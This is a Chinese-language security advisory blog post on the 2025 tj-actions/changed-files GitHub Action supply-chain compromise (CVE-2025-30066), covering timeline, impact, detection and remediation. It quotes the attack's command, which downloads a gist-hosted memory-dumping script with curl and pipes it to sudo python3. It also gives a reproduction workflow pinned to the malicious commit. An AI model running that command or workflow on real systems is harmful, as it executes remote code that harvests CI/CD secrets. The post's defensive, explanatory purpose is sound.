GitHub Actions安全预警:tj-actions/changed-files供应链攻击导致CI/CD密钥泄露

2025年3月,热门GitHub Action工具tj-actions/changed-files遭供应链攻击,超过23,000个仓库受影响。攻击者通过恶意提交窃取CI/CD工作流日志中的密钥,本文详细分析漏洞原理、影响范围及修复方案。

漏洞概述

CVE-2025-30066 是一个影响 tj-actions/changed-files GitHub Action 的高危供应链攻击漏洞。该漏洞允许远程攻击者通过读取Actions日志来发现敏感密钥。受影响版本为45.0.7及之前的所有版本,已修复版本为46.0.1。

漏洞详情

攻击时间线

漏洞活跃期为2025年3月14日至3月15日。攻击者通过供应链攻击手段,在短时间内修改了多个版本标签,使其指向包含恶意代码的提交。

攻击手法

  1. 恶意提交标识0e58ed8671d6b60d0890c21b07f8835ace038e67
  2. 被篡改的版本标签
    • v1.0.0
    • v35.7.7-sec
    • v44.5.1

攻击者修改了这些标签,使其指向上述恶意提交。

恶意代码执行

受感染的Action会执行一个Python脚本,该脚本通过以下命令获取并运行:

1
B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3`

该脚本的功能包括:

  • 扫描Runner Worker进程内存
  • 提取敏感密钥(API密钥、云凭证、SSH密钥等)
  • 将密钥进行Base64编码
  • 将编码后的密钥输出到GitHub Actions日志中

影响范围

  • 直接受影响仓库:超过23,000个使用tj-actions/changed-files的仓库
  • 最高风险群体:拥有公开仓库的组织,因为其工作流日志可能已被泄露
  • 潜在后果
    • CI/CD密钥被盗(API密钥、云凭证、SSH密钥)
    • 对源代码、基础设施和生产环境的未授权访问
    • 公开仓库中的凭证泄露,可能引发进一步的供应链攻击

漏洞复现步骤

  1. 创建一个使用受影响版本tj-actions/changed-files的GitHub Actions工作流:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
name: "tj-action changed-files incident"
on:
  pull_request:
    branches:
      - main
jobs:
  changed_files:
    runs-on: ubuntu-latest
    steps:
      - name: Get changed files
        id: changed-files
        uses: tj-actions/changed-files@0e58ed8671d6b60d0890c21b07f8835ace038e67
  1. 运行工作流并在Actions标签页检查日志
  2. 受影响的工作流可能在日志中显示编码后的密钥

检测方法

网络流量分析

使用Harden-Runner工具检测未经授权的出站请求,特别是对以下域的请求:

  • gist.githubusercontent.com

日志检查

检查2025年3月14日至15日期间执行的changed-files工作流,查找以下异常:

  • 日志中出现意外的Base64编码输出
  • 使用以下命令解码可疑输出:
1
echo 'xxx' | base64 -d | base64 -d

修复措施

1. 立即行动

检查受影响的工作流

  • 审查2025年3月14日至15日期间执行的所有工作流
  • 检查changed-files部分是否有异常输出

更新工作流引用

  • 如果工作流直接引用了恶意提交SHA(0e58ed8671d6b60d0890c21b07f8835ace038e67),立即更新
  • 使用最新安全版本:@v46.0.1或更高版本

旋转暴露的密钥

  • 作为预防措施,旋转在此时间段内可能暴露的所有密钥
  • 包括API密钥、云凭证、SSH密钥等

2. 版本标签说明

  • 已修复标签v35v44.5.1等标签已被更新,现在可以安全使用
  • 需要手动更新:直接引用恶意提交SHA的工作流

3. 长期防护建议

  • 使用固定版本号而非浮动标签
  • 定期审查依赖项的安全性
  • 启用GitHub Advanced Security功能
  • 配置Dependabot警报

技术指标

CVSS评分

  • 总体评分:8.6(高危)
  • 攻击向量:网络
  • 攻击复杂度:低
  • 所需权限:无
  • 用户交互:无
  • 影响范围:改变
  • 机密性影响:高
  • 完整性影响:无
  • 可用性影响:无

弱点分类

  • CWE-506:嵌入式恶意代码

EPSS评分

  • 90.878%:未来30天内被利用的概率(第100百分位)

参考资源

  1. 官方公告

  2. 技术分析

  3. 社区讨论

总结

tj-actions/changed-files供应链攻击事件凸显了第三方依赖在CI/CD流水线中的安全风险。组织应立即采取行动,检查受影响的工作流、更新依赖版本、旋转可能暴露的密钥,并实施长期的安全监控措施,以防止类似攻击的再次发生。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计